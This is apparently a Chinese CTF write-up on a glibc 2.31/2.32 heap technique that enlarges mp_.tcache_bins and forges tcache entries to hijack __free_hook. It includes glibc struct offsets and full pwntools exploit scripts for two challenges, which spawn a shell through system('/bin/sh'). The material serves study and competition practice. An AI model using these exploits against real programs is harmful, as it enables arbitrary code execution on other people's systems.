mp_
[TOC]
- 不能使用tcache -> 通过large_bin attack修改mp_.tcache_bins -> free相应chunk -> 修改tcache的相应entries -> malloc
- 注意这里修改的是mp_.tcache_bins而不是mp_.tcache_max_bytes,修改这个值让tcache中的bin数变多,从而让largebin进入tcache
- 然后这个找偏移也不用纯手动算,直接telescope heapbase,然后看哪个是刚才被释放的chunk对应的count和位置
核心代码
#泄露libcbase
add(1,0x500)
add(2,0x600)
add(3,0x700)
delete(1)
#让1进入largebin
delete(3)
add(4,0x700)
show(1)
out=u64(p.recv(6).ljust(8,b"\x00"))
libcbase=out-libc.sym['__malloc_hook']-1168-0x10
free_hook= base +libc.sym['__free_hook']
system=base+libc.sym['system']
#泄露heapbase
edit(1,b'a'*0x10)
show(1)
p.recvuntil(b'a'*0x10)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0x290
#recover
edit(1,p64(out)*2)
#largebin attack
mp_offset=0x1e3280
mp_=libcbase+mp_offset
#target为mp_.tcache_bins
target=mp_+0x50
add(15,0x500)#take out 1
add(5,0x700)#chunk1
add(6,0x500)
add(7,0x6f0)#chunk2
add(8,0x500)
delete(5)
add(9,0x900)
show(5)
fd=u64(p.recv(6).ljust(8,b"\x00"))
edit(5,p64(fd)*2+p64(0)+p64(target-0x20))
delete(7)
add(10,0x900)
#让0x510大小的chunk的tcache counts不为0,满足tcache->counts[tc_idx] > 0
add(2,0x500)
delete(2)
#要自己算好偏移,满足tcache->entries[tc_idx]为free_hook
#1的chunkhead为heapbase+0x290,mem为heapbase+0x300
edit(1,p64(0)*13+p64(free_hook))
add(3,0x500)
edit(3,p64(system))
#随便找一个没被用过的chunk写入就行
edit(6,b'/bin/sh\x00')
delete(6)
p.interactive()
漏洞分析
如果满足tc_idx < mp_.tcache_bins并且tcache->counts[tc_idx] > 0就会取相对应的chunk
tcache_get函数根据idx取chunk是根据偏移,比如tcache->entries[tc_idx]就像数组一样进行偏移
最后malloc(0x500)
1.满足tcache->counts[tc_idx] > 0
2.tcache->entries[tc_idx]为free_hook
相关源码和结构
libc2.32:0x1e3280
- mp_结构
struct malloc_par
{
/* Tunable parameters */
0 unsigned long trim_threshold;
0x8 INTERNAL_SIZE_T top_pad;
0x10 INTERNAL_SIZE_T mmap_threshold;
0x18 INTERNAL_SIZE_T arena_test;
0x20 INTERNAL_SIZE_T arena_max;
/* Memory map support */
0x28 int n_mmaps;
0x2c int n_mmaps_max;
0x30 int max_n_mmaps;
/* the mmap_threshold is dynamic, until the user sets
it manually, at which point we need to disable any
dynamic behavior. */
0x34 int no_dyn_threshold;
/* Statistics */
0x38 INTERNAL_SIZE_T mmapped_mem;
0x40 INTERNAL_SIZE_T max_mmapped_mem;
/* First address handed out by MORECORE/sbrk. */
0x48 char *sbrk_base;
#if USE_TCACHE
/* Maximum number of buckets to use. */
0x50 size_t tcache_bins;
0x58 size_t tcache_max_bytes;
/* Maximum number of chunks in each bucket. */
0x60 size_t tcache_count;
/* Maximum number of chunks to remove from the unsorted list, which
aren't used to prefill the cache. */
0x68 size_t tcache_unsorted_limit;
#endif
};
- tcache取堆块
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
# define MAYBE_INIT_TCACHE() \
if (__glibc_unlikely (tcache == NULL)) \
tcache_init();
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
void *
__libc_malloc (size_t bytes)
{
...
#if USE_TCACHE
size_t tbytes;
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
// 漏洞所在
if (tc_idx < mp_.tcache_bins&& tcache&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
...//省略的逻辑是通过_int_malloc进行申请的部分
}
libc_hidden_def (__libc_malloc)
例题 HGAME WEEK3 Elden Ring Ⅲ
题目要求malloc的size > 0x4FF && size <=0x900,显然无法直接利用tcache,由此来打mp_结构体
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/vuln"
libc=ELF("/home/zp9080/PWN/libc.so.6")
elf=ELF(file)
# p=process(file)
p=gdb.debug(file,'b *$rebase(0x16AF)')
def add(idx,size):
p.sendlineafter(b"5. Exit",str(1))
p.sendlineafter(b"Index: ",str(idx))
p.sendlineafter(b"Size: ",str(size))
def delete(idx):
p.sendlineafter(b"5. Exit",str(2))
p.sendlineafter(b"Index: ",str(idx))
def edit(idx,content):
p.sendlineafter(b"5. Exit",str(3))
p.sendlineafter(b"Index: ",str(idx))
p.sendafter(b"Content: ",content)
def show(idx):
p.sendlineafter(b"5. Exit",str(4))
p.sendlineafter(b"Index: ",str(idx))
#泄露libcbase
add(1,0x500)
add(2,0x600)
add(3,0x700)
delete(1)
delete(3)
add(4,0x700)
show(1)
out=u64(p.recv(6).ljust(8,b"\x00"))
base=out-libc.sym['__malloc_hook']-1168-0x10
print("libc_base=",hex(base))
free_hook= base +libc.sym['__free_hook']
system=base+libc.sym['system']
#泄露heapbase
edit(1,b'a'*0x10)
show(1)
p.recvuntil(b'a'*0x10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290
edit(1,p64(out)*2)
log.success("heap base : "+hex(heap_base))
#0x1e3280
#largebin attack
mp_offset=0x1e3280
mp_=base+mp_offset
print("mp_=",hex(mp_))
target=mp_+0x50
add(10,0x500)#take out 1
add(5,0x700)#chunk1
add(6,0x500)
add(7,0x6f0)#chunk2
add(8,0x500)
delete(5)
add(9,0x900)
delete(7)
show(5)
fd=u64(p.recv(6).ljust(8,b"\x00"))
edit(5,p64(fd)*2+p64(0)+p64(target-0x20))
add(11,0x900)
#让0x510大小的chunk的tcache counts不为0,这点很重要
add(2,0x500)
delete(2)
edit(1,p64(0)*13+p64(free_hook))
add(3,0x500)
edit(3,p64(system))
#随便找一个没被用过的chunk写入就行
edit(6,b'/bin/sh\x00')
delete(6)
p.interactive()
DASCTF X HDCTF 2024 最喜欢的一集
- 题目分析
- libc2.31
- add函数只允许有6个堆块,同时申请的大小只能在largebin的大小。edit,show只有一次机会,delete第一次有uaf,后面都没有。最后有一个magic函数可以任意地址写一个字节
- 做题过程
- 第一思路当然是走IO路线,毕竟都是largebin的大小,而且有一次edit,但是实际操作发现总会少一个堆块
- 然后就是想这不是libc2.31,为什么不打free_hook,但是没有tcache怎么任意地址申请,突然想到可以打mp_结构体,利用magic修改mp_.tcache_bins
- 然后打mp_结构体要控制heapbase+0x290后面堆块区域来伪造tcache来得到对应的任意地址,这里可以通过题目中的name输入来进行伪造
- exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=remote('120.46.59.242',2060)
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0x1D98)')
pause()
menu="Please input your choice: \n"
def add(name,size,cont):
p.sendlineafter(menu,str(1))
p.sendlineafter("Please leave your name: ",name)
p.sendlineafter("Please input the length of your desciption: ",str(size))
p.sendlineafter("Please input the content of your desciption: ",cont)
def delete(idx):
p.sendlineafter(menu,str(2))
p.sendlineafter("Please input the index of the people: ",str(idx))
def edit(idx,name,cont):
p.sendlineafter(menu,str(3))
p.sendlineafter("Please input the index of the people: ",str(idx))
p.sendlineafter("Please input the name of the people: ",name)
p.sendline(cont)
def show(idx):
p.sendlineafter(menu,str(4))
p.sendlineafter("Please input the index of the people: ",str(idx))
def magic(addr,byte):
p.sendlineafter(menu,str(255))
p.sendlineafter("Maybe Do you like IU?\n",'y')
p.sendafter("Give you a reward!\n",addr)
p.sendline(byte)
add(b'a',0x510,b'b') #0
add(b'a',0x500,b'b') #1
add(b'a',0x500,b'b') #2
add(b'a',0x530,b'b') #3
delete(0)
delete(2)
show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1ecbe0
p.recv(2)
heapbase=u64(p.recv(8))-0x3b0
print(hex(libcbase))
print(hex(heapbase))
add(b'a',0x500,b'b') #2
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
mp_=libcbase+0x1EC280+0x50+1
magic(p64(mp_),b'\x70')
delete(1)
delete(2)
add(b'a',0x500,b'a') #1
p.sendlineafter(menu,str(1))
p.sendafter("Please leave your name: ",b'a'*8+p64(free_hook))
p.sendlineafter("Please input the length of your desciption: ",str(0x530))
p.sendlineafter("Please input the content of your desciption: ",b'/bin/sh\x00') #2
dbg()
add(b'a',0x500,p64(system)) #4
delete(2)
p.interactive()